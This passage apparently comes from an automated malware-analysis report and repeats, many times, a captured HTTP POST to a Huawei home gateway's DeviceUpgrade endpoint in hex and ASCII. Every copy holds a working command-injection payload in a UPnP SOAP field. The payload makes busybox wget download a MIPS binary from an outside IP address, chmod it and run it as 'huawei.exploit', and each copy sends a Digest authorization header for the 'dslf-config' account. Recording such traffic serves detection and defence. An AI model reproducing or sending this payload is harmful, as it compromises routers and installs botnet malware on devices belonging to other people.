2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
